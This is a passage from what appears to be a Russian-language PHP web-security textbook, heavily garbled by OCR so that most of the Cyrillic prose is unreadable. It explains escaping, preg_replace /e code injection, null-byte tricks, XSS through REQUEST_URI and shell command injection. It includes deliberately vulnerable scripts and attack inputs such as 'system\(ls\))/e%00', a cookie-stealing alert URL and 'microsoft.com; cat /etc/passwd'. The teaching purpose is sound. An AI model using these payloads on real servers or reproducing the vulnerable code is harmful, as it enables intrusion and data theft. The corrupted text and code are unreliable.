[lepen BbinONHEHHEM KAKAOH OMepaLNH Bbi AOKHbBI IPOBEPATD, @ Pa3peLleHo JIH
3TO AeAaTh MOJb30BATENI0, KOTOPBIH 3anpaliuBaeT oNepaLuLo.

3.6. NpoBepka
KOPPEKTHOCTU NapamMeTpoB

QueHb HHTEPECHBIH BapHaHT NPOBEPKH NapaMeTpOB A BHIEA B OAHOM u3 Gecriar-
HO pacrpocTpaHsembix nporpaMM. B camoM Hauane Kakaoro cueHapHs Bbi3biBa-
nack QyHKUMA, koTopas nposepsana abconoTHo Bee napamerpsl. Kak 310 peanuso-
BaTh? [N Hauana nocMoTpuM Ha (YHKUHMIO, Ha30BEM €€ universaladdslashes
(nmucTuur 3.12), kotopas 6yaer nMpou3BOAHTL NPOBEPKY OTAEALHOrO rapaMerpa,
a NoOTOM TTOCMOTPHM, KakK € MOXHO NOJIb30BATHCA.

function universaladdslashes($var)
{
if (is_array(S$Svar))
{
// Ecnu nepemeHHas ABJAETCA MAaCCUBOM. . .

Soutvar = array();:

foreach (Svar as Sk => Sv)
Soutvar($k] = universaladdslashes(5v);

return Soutvar;
}
else
(
// ECnM nepeMeHHas [IpPOCTOrC Tura
return addslashes (Svar);
}
}

CekpeT (hyHKLIMH JOCTATOYHO MPOCT: OHA MONYYaeT B KayecTBe apaMeTpa nepes
MEHHYIO ¥ NpOBEPSET, ABNAETCA 1Y OHAa MAacCCHBOM, €CAH 1a, TO NMPOBCPAIOTCS BCO
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3/IEMEHTBI 3TOro Maccusa. Ecau xe 3to ApOCTO NEpEMEHHAA, TO MPOBEPACM TOJb-
KO OAHO 3HAYCHHUE C NMOMOIUBIO (b)!HKI.lHH addslashes.

A BOT Tenepb OTKpPbLIBAEM 3aBeCy Hal NPOBEPKOi BCeX MapameTpoB, MOay4aeMbiX
OT nojab3oBatens. Tak Kak napaMeTpsol nepeaaroTca 4€pe3 MaCCHBLI, TO JOCTATOY-
HO MPOBEPUTL HX C MOMOLIbIO QYHKUMH universaladdslashes, KOTOpas MpoBe-
PUT KaXAbIH 3/IEMEHT:

S_GET = universaladdslashes($_GET);

$_POST = universaladdslashes(S$_POST) ;

$S_ENV = universaladdslashes($_ENV);

$_COOKIE = universaladdslashes ($_COOKIE);

$_FILES = universaladdslashes ($_FILES);

$_SERVER = universaladdslashes ($_SERVER) ;

Koue4Ho, 370 uHpeanbHbii ciayuali W MoxeT norpeboBaTbcs MpOBEpKa eLie
v QyHxume htmlspecialchars, KaK NOKa3aHO B AMCTHHIE 3.13.

function universaladdslashes {Svar)
{
if (is_array(svar))

{

// Ecnu nepemMeHHas ABNAETCA MACCUBOM. . .

Soutvar = array();

foreach (Svar as $k => Sv)
{
Soutvar|([5k]
Soutvar(sk]
}

return Soutvar;

)

w:lse

(

// EciuM nepeMeHHas [pOCTOrO TuUmna

universaladdslashes(Sv);

htmlspecialchars(Soutvar([$k]};

Svar = htmlspecialchars($var};
return addslashes($var);
)
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Tenepb y)xe MOMHMO BBLINOHEHHA QYHKUHMH addslashes BbHIOAHAETCA W QyHK-
UMA htmlspecialchars, MHorna MoxeT noTpe6oBaThcsa NMpoBEpKa HEKOTOPBIX a-
pPamMeTpoB MO OTHAENLHOMY alropuTMY, TO3TOMY 3TOT YHHUBEpCA/IbHBIH METOA HE
MOXET ABNATbCA naHaueei ot scex 6en. Ho moxer cayxurts onpeneneHHoOM
HauyabHOM 6a30¥.

3.7. NMpobnema perynsipHbIX BblipaXeHuUwn

B 60/bILMHCTBE KHHUT BbI MOXETe BCTPETHTb MPEMIOKEHHS WCTOAB30BAThL PEry-
NApHbIE BbIPAXEHHA ANA MPOBEPKH TOro, YTO MNEpEAaHHble JaHHLIE KOPPEKTHBI.
OrtanuHoe pelueHue, 1 caM HCMoOAb3ylo 3ToT Metod. Ho xouerca Bac npenynpe-
AWTb O CEAYIOUHX HIOAHCaX:

O npyH HanWcaHHW PEryNAPHLIX BbIPAXKEHHI OUYEHb AETKO OWUOUTHLCH, MOTOMY
YTO MX HAMKCaHHE — 3aHATHE He U3 NpocThiX. [10 perynsapHLIM BbIpaXXeHUAM
MOXHO ITHCATh LIEAbIe KHUTH U TYT CTOJIBKO HIOAHCOB, YTO Maneiiiuas owmubka
MOXKET IIPUBECTH K TOMY, YTO BhipakeHue O6yner paboTaTh He KOPPEKTHO;

O mpoBepka AaHHLIX HA COOTBETCTBHE L1abnoHaM — XOpOLLO, HO JaJIEKO He Bee-
raa rapaHTHpYeT, YTO AaHHbie OyayT COOTBETCTBOBATH LWabAOHY, NOTOMY YTO
mMOXeT ObITh Nlazeiika, Onaromaps KOTopoi peryaspHoe BbipaxkeHHe MOXHO Oy-
ner obmaHyTtb. Homyctum, wabnoH mnposepser, 4ToObl nepenaBaeMoe HMA
¢aiina umeno ¢opmar fileXXX.txt, raoe XXX — ums daiina. 1o oyeHb nerko
obxoauTcs ¢ noMowblo Hynesoro 6Oailrta. JloctaTouHO fepenaTh WMA:
/fetc/passwd%00fileX X X.txt. Boipaxenwe Oymer cooTBeTcTBOBaTH LWAGAOHY,
MPONKUCAaHHOMY B CLIeHAapHH, HO yKa3biBaTh Ha UMA (aiina /etc/passwd.

Jabbl yMEHbIIUTL BEPOATHOCTb OLUIMOKH, Aydille UCITONB30BATL MAKCHMANbLHO TIPO-
CThi€ U MAKCHMAasbHO XeCTKUe 1a6a0oHbI. [ 3TOro Hy»HO noay4ats OT NMoJjib30Ba-
TeJIA TOABKO NpOCThie JaHHble. HanpuMep, eciiv noab3oBaTenb OOMKEH MepeaasaThb
JaHHbIE TOMLKO M3 YuCeN, TO HET CMbIC/A BbIyMbIBATh PEryfafApHOE BbIpakKeHUE,
koTopoe onuier wabdnoH. [lpocro Buipesaem Bce, kpome UHGP, H MOAKeM ObITh yBE-
PEHHBIMH, YTO HH KAKHX OMAcHbIX CHMBOJIOB B NEPEMEHHOM HE OCTANOCh.

3.8. PerynsapHble BbipaxeHus Perl

B PHP ects moanepxcka ABYX BapHaHTOB peryaspHbix Boipaxcenuid: PHP u Perl.
BonbWIKMHCTBO NPOrpaMMKUCTOB AIOOAT MCMONb30BaTb UMEHHO BTOPOH BapHaHT,
H 1 He UCKIIIoYeHHEe. YK CNHILIKOM OHY yA00HbIE ¥ MOLLUHLIE, HO NPH UCMOJIL30Ba-
HUY (YHKUHMH preg_replace elle H O4Ye€Hb OnacHbie. PeryngpHbie BbIpaXKeHUA
UMEIOT CieAyIOLHIi BUA:

/cTpoka/
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BMecto cHMBOna cn3ma MOXHO HCIIONB30BATH JIOObIE ApYyrHe CUMBONLI, KpoMe
6ykB, HanpuMep:

#cTpoka#

?CcTpoKa?

Ho yaiue Bcero Mcrnonp3yrorcs Bee e cdiuy. B koHUe peryssapHOro BbipaXkeHHUs
MOXHO yKa3aTb moaudukaTop. Haubonee pacmpocTpaHEHHBIMH ABIAIOTCA i H e.
[lepBbifi TOBOPUT O TOM, YTO MpPH MOHCKE HEOOXOMHMO HrHOPHPOBATH PErHCTP
6ykB. TYT HHYEro ONacHOro HeT, a BOT BTOPOH AOCTATOUHO OMNACEH, MOTOMY UTO
nossonset BuinoaHATs PHP-koa. Eciv B BbipaXKeHUH UCITIONB3YIOTCS [IEPEMEHHBIE
M XaKep CMOXKET BHEAPHTb B HUX CBOHM KOA, TO 3TO CEpbe3Has YA3BUMOCTb.

HasaiiTe pacCMOTPUM KO, MPUBEACHHbIH B nuUcTHHre 3.14, H NO3HAKOMHMCH
C 3TO# yA3BUMOCTBIO Ha IIPOCTOM MPHUMEPE.

<HTML>

<HEAD>

<TITLE>Preg test</TITLE>

</HEAD>

<BODY>

<center><h3>Preg test</h3></center>
<hr>

<form name="syst" action="preg.php" method="get">
KoMaHma: <input name="command" size=50>
MMapameTp: <input name="var" size=50>
<input type="sulmit" value="Find">
</form>

<hr>

<?
if (isset ($_GET['command']))
{
$command = $_GET['command']);
$Svar = $_GET['var'];
print ("Executed command: <b>$command</b><P>");
preg_replace("/(".$command.")/e", "\\1", $var);
print{$var);

>

« /BODY>
= /HTML>
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®opma oTobpaxkaeT gBa Mosis BBOAA: KOMAaHAA M MapameTp. 3aTeM MPOUCXOAHT
NpoBEPKA, €C/IH napaMeTp command MOAYyYEH METOAOM GET, TO IPOUCXOAMT €ro
3aMeHa C NMoMOLIbIO QYHKUUH preg_replace. B 06l1emM Buge 3Ta pyHKUHS BbIrIA-
OWT cneaylolumm obpasom:

preg_replace(pattern, replace, var);:

DYHKUUSA UWET B NapaMeTpe var CTPOKY, COOTBETCTBYIOMIYIO PeryiaapHOMY Bbl-
pPaXkeHUIO U3 MEPBOro napaMeTpa, U 3aMeHsEeT ero 3HaYeHUeM BTOpPOro napamMertpa
replace. Ecnu ykazaH moaugukartop e, TO nepea 3aMEHOMH MPOUCXOAHUT BbITTONHE-
HUE HaHQeHHOro Koaa.

A 4TO ecau xaxep MOXET BO3IACHCTBOBaTb HA PEryAspPHOE BbIpaXEHHE H CTPOKY,
B KOTOpOi NpOMCXOOMT nouck (nepBbii ¥ Tpetuii napamerp). Ecau Tpetuii napa-
METp OY€Hb YacTO W €CThb flEpeaaBaeMoe MNMoJib30BaTEeM 3HAYEHHE, TO HA NEpBbIH
OH BNHATH HE JTOMKEH.

HaBaiiTe Teneps paccMOTpuUM cueHapuid u3 sucTuHra 3.14. 3aech y Hac 4 B nep-
BOM W B TPETLEM MapaMeTpe €CTb NepeMeHHbIE, HA KOTOPbIE BAHAET NONb30BATENb:
preg_replace("/".Scommand."/e", "\\1", Svar);

A YTO eciu yepe3 NMapaMeTp command MepeaaTb system\(ls\),a B napame:rpe var
nepenarb system(ls)? [ToueMy B nepBoM ciyvae nepen ckobxkamu CTOAT CAIMHK?
Heno B ToM, 4TO 3HaueHue OyaeT Monajath B peryiaspHoe BoIpaKeHHe, rae Kpyr-
nble ckoOKH HUMEIOT cneuranbHoe 3Ha4deHue, U YToObl OHH BOCMIPHHUMAIMCH Tpo-
cTO Kak ckobkH, Heobx0auMO riepe HUMH NOCTaBUTHL CJIdLIK. B 3TOM cayyae cue-
Hapuii OyaeT UCKaTh B var 3Ha4YCHHUE U3 command, W HalaeT, MOTOMY YTO B HAIUEM
clly4ae 3TH napameTpbl UAEHTHYHbI. A Korda QyHKuMs HailieT COOTBETCTBHE, KOJ
OyneT BbinoAHeH. B maHHOM cnydae B kadecTBe koaa nepegaerca PHP-dyukuus
system ¢ KOMaH0# 1s, KOTOpas 0TOOpaxaeT COAEPKUMOE TEKYLLEH IMPEKTOPHH.

YcnoxnuMm 3ajgauy. JIonycTHM, YTO B PEryNsapHOM BbIpaXKeHWH HCMONb3YeTcs Mo-
audHKaTOp i, KOTOPBIA HHYErO HE BBLIMIONHAET:
preg_replace("/".$commandg."/i", "\\1", Svar);

Kpacuo, HO Toxe He 6e30MacHO, NOTOMY YTO B PEryIAPHOM BbIPAKEHUH BCE €LIE
HCTIONb3YETCA NMEpPEMEHHasn, COAepaallas NnoJib30BaTeNbCKUE JallHbie, KOTOpas He
noasepraerca nposepke. B napamerpe command nornpoGyeM rniepeaats cleayiouee
BbIPAXKECHHUC!

system\ (1s\))}/e%00

JlaBaiiTe paccMOTpHM 3TO BbipaxkeHHe BHHMaTenbHee. Jlng 3Toro 1 pa3bun ero Ha
TPH HacTH M BbIAEIHI UX npobenamu:
system\ (1s\) Y/e %00

[Tepras yacTb — 3TO KOMaH[a, KOTOPYIO Mbl NEpeaaBany W B NPOUUIbIH pa3l,
M ee HeoOXOAHMO BbINOJNINTL., BTOpas 4acTh 3aKkpbIBaeT peryinsphoc shipaxeHHe
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W ykasbiBaeT MoaudukaTop e. ocienHss 4yacTe — 370 Hynesoil 6aiit, ko'ropsiit
ABJIAETCH KOHUOM CTPoKH. Bnaromaps Hynesomy OaHTy cTpoKa W BcA OcTaBLuascA
4acCTb PEryJApHOTO BbIpaXKEHHA, KOTOpas IpolMcaHa B cUeHapuu, Gyaer npour-
HOpPHpOBaHa. TakMM MPOCTbIM TPIOKOM Mbl FIOAMEHHIH PEryjaspHOE BbIpaXeHHE
H MOOMQHUKATOp i 3aMEHHUJIH Ha e.

[lpobnema peanu3auuu maHHON aTaky B TOM, YTO JKENAaTeAbHO 3HATb MCXOAHBIH
koa cueHapueB. He 3nas ux, Hadtu nogobHyio owumbky odenb cnoxxuo. Heobxo-
JAUMO 3HaTh, B KakKHe CHMBOJbI 3aKIIIOYAIOTCA PEryaspHLIC BbIPAXKEHUA, H KaKue
napameTpbl ucnonasdytotrcd. He 3nas atoro, nopobpare Heobxonumyo komOGHHa-
UMIO O4YeHb CNOXKHO. BoAbIIKMHCTBO XakepoBs NpocTo He OyaeTr CBA3LIBATLCA C AaH-
HOW 3azayed.

HarnomuHaro, 4To MOAHMHKATOP e B PEry/APHOM BbIPAKEHUH UCHONb3YeETCH TONLKO
B QYHKUHUH preg_replace.

He 3abmiBaem, 4TO 3TO perynspHoe BbipaxkeHue Perl, a 3uauuT, 4TO TaM TOXKE
MoxeT ObiThb nogobuas npobnema. [louemy "Moxer 6bITh"? S 3TOT A3bIK 3HAIO
HaMHOTO XY>X€ U He MOTY YTBEPXKAATh 3TOTO HaBEPHSKaA.

3.9. OnacHoCTb
nepeMeHHbIX OKPYXeHUs

B PHP ecTb HeckOAbKO nepeMeHHbIX OkpyxeHHs. [locMoTpum HEkoTOpbIE U3 ITHX
nepemMenHbix:

O sserRVER_ADDR — [P-agpec Web-cepsepa, Ha KOTOpOM 3amylueH clieHapyi;

(0 $SERVER_PORT — nopT Web-cepsepa, k KOTOpOMY FMOAKIIOUWICH KAHEHT A
BLITIOJIHEHHS 3anpoca;

(0 $SERVER_NAME — uM3a XocTa Web-cepeepa,

O $SERVER_PROTOCOL — Bepcusa HTTP;

00 $REMOTE_ADDR — [P-ajipec koMnbioTepa, 3anpocusuiero gaia cueHapus,

[ $REMOTE_PORT — [MOPT YAQJIEHHOTO KOMILIOTEPA, C KOTOPbIM YCTAHOBJIEHO
COEIMHEHHE;

M srReEQUEST_URI — URL k ¢aiiny 6e3 umeHu goMeHa uau agpeca Web-cepsepa.

Hanpumep, ecnu 6bin 3anpouter agpec http://192.168.1.1/admin/index.php,
'TO DTa rnepeMeHHas 6yaer coaepxath 3Ha4yeHue "/admin/index.php”;

M SQUERY_STRING — CTpOKa 3anpoca, KOTopas COAEPXKHT CIHCOK NepeaaHiibiX
p
iapaMeTpoB. [lapaMeTpbl pa3aeneHbl CHMBONOM aMIiepcar/ia, a CamMmy rapamor-
L UMEIOT KH)L "nazBanuc=3nayenue”;
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0 $HTTP_USER_AGENT — CTpOKa, HACHTU(PUUMPYIOLAd IporpaMMy KIIHEHTa, Ha-
pUMeEp, Ha3BaHHe Opay3epa, XOTA ee 3Ha4eHHe He BCEraa COOTBETCTBYET Aeii-
CTBUTENIbHOCTH;

0 $HTTP_ACCEPT — mepeyeHb (Paitno, KOTOpbie MOXeT 06paboTaTh KNHEHT.

Haneko He BCe U3 3THX MNEpEeMEHHbIX 6€30MmacHbl, OTOMY YTO Xakep MOXET BO3-
OeACTBOBATL HAa HUX. [leNo B TOM, YTO HEKOTOpbie napaMeTpbl 6epyTcsa U3 mosy-
YEHHOro OT I10Ab30BAaTENA MAKeTa, U HET rapaHTHH, YTO XaKep HE MojJgenan HX.
Hanpumep, nepemeHHas $HTTP_USER_AGENT YKasbiBaeT Ha Opaysep, KOTOpbIii
OTIIPaBUA 3anpoc. JTOT napaMerp 3arnonHsercs 6pay3epoM aBTOMATHYECKH, HO
Xakep JIerko Moxcer COpMHpPOBaTh TaKOi 3anpoc, B KOTOPOM $HTTP_USER_AGENT
OynyT conep)KaTh HEBEPHbLIE AAHHLIE.

Hasaiire paccMOTpHM BCIO OMACHOCTbL Ha [PUMEpE MEPEMEHHOI $REQUEST_URI.
He nosepsaiite sTtoMy napametpy, IIOTOMY YTO Xakep MOXET JIETKO MOBJIHATHL Ha
Hero. JomycTuM, YTO y Bac ecTb caeaylouMii koa (popMbl:
<?
print ("<form action=\"http://".S$SERVER_NAME.S$SREQUEST URI\"
method=\"post\">");

// 3mecb HaxXORATLCHA 3JIEMEeHTH YNpAaBJIeHUA

print ("<input type=\"sulmit\" value=\"Sulmit\">");
print ("</form>") ;

>

B nanHoM cnyuae ¢opma nepenaet BBeqeHHbIE JaHHBbIE CLIEHAPUIO, aipeC KOTOPO-
ro GopMHpYeTCa U3 MIepeMEHHbIX $SERVER_NAME M $REQUEST_URI. Ecnu o6beau-
HUTb COJIEPXKHMOE OTHX IBYX MEpPeMEHHBIX, TO Mbl noay4yaem nmonHbiil URL Kk Te-
KYLWEMY CLieHapHIO, T. €. JaHHbie cLeHapuii HanpaBHT cam cebe, HO npu 3Ttom URL
Oyner onpeneneH auHaMHueckH. OueHb ynoOHOe pelueHHe, HO ONacHoe,

Honmyctum, uto xakep BeBeaer B crpoke URL creayrowuit  appec:
http://yoursite/index.php?'' ><script>alert(document.cookie)</script>. B oTser
Ha 310 OkHO 6pay3epa 0TOOpa3UT MOAATIBHOE OKHO, B KOTOpoM Oyner oTobparkeHo
conepxumoe Cookies. Ha, xakep yBuaut csou Cookies, Ho 4ToOb! yKkpacTb AaH-
Hbl€ JPYroro Mojb30BaTens, AOCTAaTOYHO CAefaTb Tak, YTOObl KEpPTBA LIEJKHYAa
Ha HY>KHO# CChUIKE, U MOACTABUTD el HyXHbIi JavaScript-koa.
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PaboTta
C CUCTEMHbLIMU KOMaHAaMU

Bo3moxxHocTu GonbluMHCTBA A3bIKOB He Oesrpanuutnl. Ho pawe ecnu y s3bika
ecTb HeOOXONUMBIE BO3MOXKHOCTH, OUYEHb 4acTO XO4eTca He H300peraTb BeaocH-
nea, a BOCMOAB30BaThCA Y)Ke CYIIECTBYKOLIUMH NMpOrpaMMamH, JaBHO OTAAXKEH-
HbIMH H Xopoiuo paborarowumi. Ecad B OC ecTb yTunurta, KOTOpas peiiaer
HeoOXOAUMYIO 3aJavy, BbI JIErKO MOXXETE BbI3BATh €€ W MOAYYHUTb HYXHBI pe-
3yJbTaT.

Obpaiwienrne k OC ¥ BbINOAHEHHE BHELIHHUX KOMaHA €CTb BO BCEX A3bIKAX Mpo-
rpammupoBaHis. Ho ao6oe takoe obpaiweHue, ecin BHeluHel nmporpamme nepe-
JAal0TCA MapaMeTpbl, HA KOTOpPbIe MOXET BO3ACHCTBOBATH I0/Ib30BaTEb, MOXKET
ObiTh onmacHo. [Toyemy "Moxer 6b1Ts"? Jla MOTOMY, YTO OMACHOCTH 3aBUCHT OT TO-
ro, Kak HacTpoeH Web-cepsep U ¢ KAKUMH NpasaMy OH paboTaer, KakHe KOMaH bl
eMy OOCTYIHbI, K KakuMm ¢aiiiam MOXXeT ObITh MOAYUYEH HOCTYN U Kakoil (YTeHUue
WY 3aIKCh).

BoMbIUKMHCTBO pacCMOTPEHHBIX HHXXE NpUMepoB OyayT npuBeneHb! HA A3bIKE MPO-
rpammHposariia PHP, notoMy 4To €ro a nydille 3Hal0, HO MPHHLMIL CO3AAHUA
GesonacHoro cueHapua OynyT TakuMH ke W 1A 6OABLIMHCTBA APYTHX A3BIKOB,
OtanyaloTcs TONbKO MeToAbl OOpaweHHs k (aHnoBOH CHUCTEME, a OMAcHOCTb
1 3aLIHTA OT HEE UMEIOT CXOXKHE KOPHH.

4.1. Bbi30oB cucTeMHbIX KOMaHA

3 60AbWKHCTBE A3BLIKOB €CTb KOMaHAbI BbI30BA CHCTEMHbIX koMaHi. Haubonee
nonynaspHo# takoi komaHgoi B PHP asnserca pyHkuMA system. B panbHe#iwem
MbLI y3iraeM (cm. pazod. 5.4), uto npu paboTte B 3alMLIEHHOM PEXXUME HHTEpnpeTa-
ropy PHP BuinonHenue stoli dyHkuuu (M apyrux ¢yHkuuit obpauieHus k cucre-
MC) JIYYLLE BCCI'0O 3aNPeTHTb, HO YTO, €C/IH €€ HCNOoNb30BaHNE HEOOXOIUMO?
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Ansa Hauana s Hanucan npocTediuuit cueHapuit (nMcTUHr 4.1), copepkauuii yas-
BHMOCTb.

<HTML:>
<HEAD>
<TITLE>Injection test</TITLE>
< /HEAD>
<BODY>

<center><h3>Injection test</h3></center>

<hr>

<form name="gyst" action="sys.php" method="get">
Command: <input name="command" size=50>

<input type="sulmit" value="Find">

</ form>

<hr>

<?
if (isset($_GET['command']))
{
$command = $_GET['command'];
print ("Executed command: <b>$command</b><P>");
print (system($command)) ;

}

?>

< /BODY>
< /HTML>

310T koA oToOpaxkaeT GopMy Ana BBOAa KOMaH/bl, KOTOpas nepeaaerca GyHKuHl
system. Pe3ynbTaT BhintoNHeHus otobpaxaercsa Ha Web-cTpanuue.

3anycTuTe NpuMep, BBEAXWTE B none Beojda koMmaHay OC, Ha KoTopoii y Bac yc
HoeneH Web-cepsep, u HaxxmuTe kHonky Find. Ecnu 310 Linux uwnu apyr
UNIX-nonobuas OC, To B KauecTBe 1puMepa MOXKHO BBECTH KOMaHay 1s. B
3yNbTaTe Bbl MOJINHbI YBHAETb Ha JKpaHE COAEPKUMOE TeKyLUeH [IMPEKTOPH
HanpuMep, Kak nokaszaHo Ha puc. 4.1.
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Puc. 4.1. [pumep BLINONHEHWA CUCTEMHON KOMaHAbI

BbinosiHeHHe cHCTEMHBIX KOMaHI B CLEHApMH BCEraa CBA3aHO C MOBLILIEHHbIM
PHCKOM, MOTOMY YTO ynpaBjieHWe fpaBamMu AocTyna U GuabTpaLua napamMeTpoB
B 3TOM C/ly4ae 3aTpyaAHEHBI.

KoneuHo, Takod wmaeanbHbI BapuaHT, Kak B JWUCTHHre 4.1, BCTPeTHTb OYEHb
CJIOKHO, HO BCe e, ObIBAIOT cayyaH, Koraa nogobHbie cUEHApUH aIMHHUCTPATOPBI
co3natoT ans ynoberea ynpasnenus Web-cepsepoM U HaJEIOTCS, UTO XaKep O HHX
HHUKOTAA HE Y3HAET WIM He MONYHYMT K HUM JIOCTYNa (Hanpumep, eciid NaHHbIi koA
pacnonokeH 8 NaHenu aaMHHUCTpHpoBaHuA). HamHoro vaie MOXHO BCTPETHTH
BbIZOB OTIpEAENEHHON CUCTEMHOI KOMaH/bl, a Uepe3 NepeMeHHylo nepeaaeTca Ao-
NoJIHKUTENbHBIH napameTp. Hanpumep:

print(system("ping -¢ 5 ".Scommand)}) ;

3 JianiHOM cnyuae BbINOJIHACTCA CHCTEMHAaA komaHaa Linux ping ¢ napamerpom -c S,
KOTOpas nposepsaeT CBA3b C yKa3aHHbIM koMnbioTepom. [Tapamerp -c ncnonbiyer-
CH JUIS YKA3aHUA KOJHUECTBA MOMbITOK MM NocsiiacMbiX nakeros, B Jpyrux OC
OH MOXCT ObITh APYruM, Hanpumep, B Windows juig 9ToH 11e1n HCHONL3YCICH ~n.
B sannom cnyyac Mbl OFpaHHUHMBACMCSH HIATLIO TIAKCTAMH, A BOT aApec KOMIbIO-
1CpPi YKA3BIBACTCH YCPE3 NCPEMCHHYIO $command, KOTOPAR COJCPIKHT HOPOJIAIHING
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MONb30BaTENIEM CLIeHapHio AaxHble. [lonk30BaTens fo/bikeH BBeCTH B GopMy aapec
KOMIIBIOTEpA, C KOTOPbIM HEOOXOAMMO NPOBEPHUTH CBA3b, U B PE3yNbTaTe Mbl yBH-
IMM TO, 4TO MOKa3aHO Ha puc. 4.2.

Puc. 4.2. PeaynbTaT BbINONHEHUN KOMAHAL! ping

Ha nepseiii B3rnaa Bce xopowo u Gesonacho. Ho 3T0 ToNBKO €ClH MONb30BaTeNb
Syner ykaswiBars IP-agpec Wan UM KOMNBIOTEPA U HUYErO JPYroro. A 4To Apyroe |
MOJET MepeaaTh 37I0yMblINEHHUK? A OH MOXET nepeaaTh ApYrytlo komauay. Je- !
no B ToM, uro OC Linux MoxeT BBINONHATL HECKOJBKO KOMaHA noapsa. Bel on-

HOM cTpokoil MoxkeTe nepenarth aBe U Gonee KOMaHAbl, MOCTaBHB MEXAY HHMH '
B KauecTBe pa3fenuTens Touky c 3anstoii. Hanpumep, Takum o6pa3oM MOKHO Bbl-

MOMHUTH IB€ KOMAaHAblI — ping ¥ NPOCMOTP TeKyLUEeH AHPEKTOPHH:

ping -c¢ 5 microsoft.com; l1ls -al

Orta cTpoka Oynet pa3buta Ha 1BE KOMaHAbL: ping -c S5 microsoft.comH 1ls -al.

N o6e 3TH KOMaHAb! GyayT BbiMOJHEHbI CHCTEMOH, a pe3ysibTaT Bbl YBHAHTE Ha
3KpaHe.

Ecnu y Bac ectb Web-cepeep, Ha KOTOpoM MOXHO npoTectuposats PHP-
CUEHapHH, TO 3arpy3uTe Tyaa ¢aiin n3 nuctudra 4.1 v nonpobyitre nepenars ye-
pe3 1noas BBOAA CTPOKY "microsoft.com; Is —al”. ByayT BuimonHensl o6e koMaHabl,
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H pesyneTaT 06enx 6ymer orobpaxarbca Ha Web-ctpanuue. Ha puc. 4.3 nokasaH
[PUMEP BBHIMIOJIHEHHA TaKOH KOMAaHbI, TOJILKO S BBINOJHAN ping OAHOH H3 MAIUKH
B cBoeH ceTH ¢ aapecoM 192.168.1.1. B uepHom mpamMoyronbHHKe MokasaH pe-
3yNbTAT BbIMOJHEHHA KOMaHAbl ls, a 0e3 BblAENEHHA NPAMOYrOJIbHHKOM — pe-
3yNbTaT ping.

Puc. 4.3. PeaynbTat BbINONHEHUA ABYX KOMaHA

A ecnu nepenath cTpoky "'microsoft.com; cat /etc/passwd”, To B pesynbTare Bbl
YBUAWTE Ha 3KpaHe coijepkumoe (aiina coO CMMCKOM MoNb3oBaTeNieH, KOHEYHO,
cenu y Bac Oyner n0cTaTouMHO nNpae Ha AOCTYN K 3TOMY daiiny.

llony4aercs, uro Takas Oe306uAHas CHUTyauMs MOXET MPHUBECTH K CEPbE3HbIM
inpobneMam, Beab ¢ noMotubio koMana OC xakep JIerko MOXET BBINOMHHTL TaKHE
olepauuM, Kak NMpocMOTp cHcTeMHbIX (paitnos. Takue obpalueHHa onacHb! BHE
ABUCHMOCTH OT HCMOJB3YEeMOro A3bika nporpaMMupoBaHus. [Tpu BbI3oBe CHCTEMHBIX
KOMaHJ Xakep Mcnonb3yeT Bo3MmoxkHocTH OC, a He A3bika NPOrpaMMHUPOBAHKA,
HA KOTOPOM HanucaHbl cueHapuH. [lporpaMMHCT nomkeH obecrneunTb NPOBEPKY
110JIyHaeMBIX OT MOAL3OBATENA JaHHbIX U 00€30MacHTb CHCTEMY OT BTOPXKEHMA.
il¢ 1aboiBaliTe, 4TO M3-3a OAHOTO CLUEHAPHA MOXET NOCTPA/IaTL HC TONBLKO Onpese-
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nennbiii Web-caiit, Ho u Bce Web-caiiTbi, pacrnonoxeHHble Ha ToM e Web-
cepBepe.

B PHP ectb oaHa HHTepecHas (yHKUMA, KOTOpas YNpOLLAET )XU3Hb B Halled
Oopbbe 3a 6e3onacHbili KOO: EscapeshellcCmd. OHa yaanger U3 MEpEeMEHHON J10-
Oble CUMBOJIbI, KOTOpPbIE MOTYT ObITh UCIIONBL30BAHB B KOMAHIHOM WHTEPIIPETaTO-
pe Kak MPOW3BO/bHbIE KOMaHIbl. DTO 3HAYMT, YTO ecid HeobxoguMo mnepenathb
MEPEMEHHYIO B (PYHKUHMIO exec, system W eii MoAoOHyl0, TO NpeaBapUTENbHO
HeoOX0aUMO NPOBEPHTD 3TY NEPEMEHHYI0 C MOMOLLBIO Escapeshellcmd. Hanpumep:

Scand = EscapeShellCmd($cmd) ;
system(Scamd) ;

B nepeoii ctpoke Mbl yOvpaem H3 nepeMeHHOH $cmd BCE, YTO MOXKET NMpencTaB-
AATb OMACHOCTD, @ NOCJIE 3TOrO YXKe NepeMeHHas nepeaaerca B QyHKUHIO system.

Ha, pyHKUMA EscapeShellCmd — XOPOUIHII UHCTPYMEHT, HO NOAHOCTHIO MoJja-
raThCs Ha Hee He CTOUT. Sl peKOMEeHAYIO BbINOAHATL JOTIONHUTENBHYIO NPOBEPKY
C NMOMOLUBIO PETrYAAPHBIX BbIPAXKEHHH.

4.2. 3aumTa OT BbINONHEHUSA
NPou3BONbHbLIX KOMaHA

Jlrobas nepemeHHas, KOTopas BBLIMOAHACTCA CHCTEMOH WIW BHEWHEH YTHNUTOM,
OONMHA MpPOBepATLCA OT H 10. Kak MMHUMYM HHKaKuX TOYEK C 3anaToH B He#l co-
aepxartbes He nomkHO, Ho oaHo# Toabko 31Ol nposepku mano. [posepgembie
CHMBOJIb! 3aBUCAT OT CUTyauuu. Hanpumep, ecnau u3 nepemeHHod $command Bbipe-
3aThb TOJILKO TOUYKH C 3aMATOH, TO 3TO HE 3HAUYMT, YTO CLEeHApHH HEYA3IBUM H XaKep
y>Ke HHU4ero He CMOXeT caenaTh. B nosae Bce ele ocTaercs BO3MOXKHOCTb BJIUATH,
Ha KOMaHAY ping, yKa3biBag CBOM KIIOuH. Xakep MOXeT yka3aTb nomumo IP-
ajpeca OeckOoHeyHoe KoaH4ecTBO U 6oabiLOH pa3sMep NakeTa. 3anyCcTUB HECKOJIb-
KO KOMHI ceaHCOB, MOXKHO Takum oOpa3om opranusosaTb DoS-aTaky Ha HeDOsb-
LLOH cepBep, MOAKNIOUYEHHDbIA Yepe3 y3KHH KaHall CBA3H.

Ecnu koMauae HeobxoauMo nepenasaTe JOMEHHOE UMA KOMMbIOTEPaA, TO ¢ MOMO-
LB CNEAYIOLIETO PEryJapHOro BbipaXKEH! Bbl JIEFKO MOXKETE ONPEAEUTD, COOT-
BETCTBYET JH NepeAaHHbli napamMerp HY)KHOMY (bopmaTy:
{a-zA-Z20-9\._\-1+(\.[a-zA-Z0-9}+)+)*S

Ecn4 napameTtp He cooTBeTCTBYET (bopmaTy HMEHH JOMEHA, TO pe3ynbTaTOM NpO-

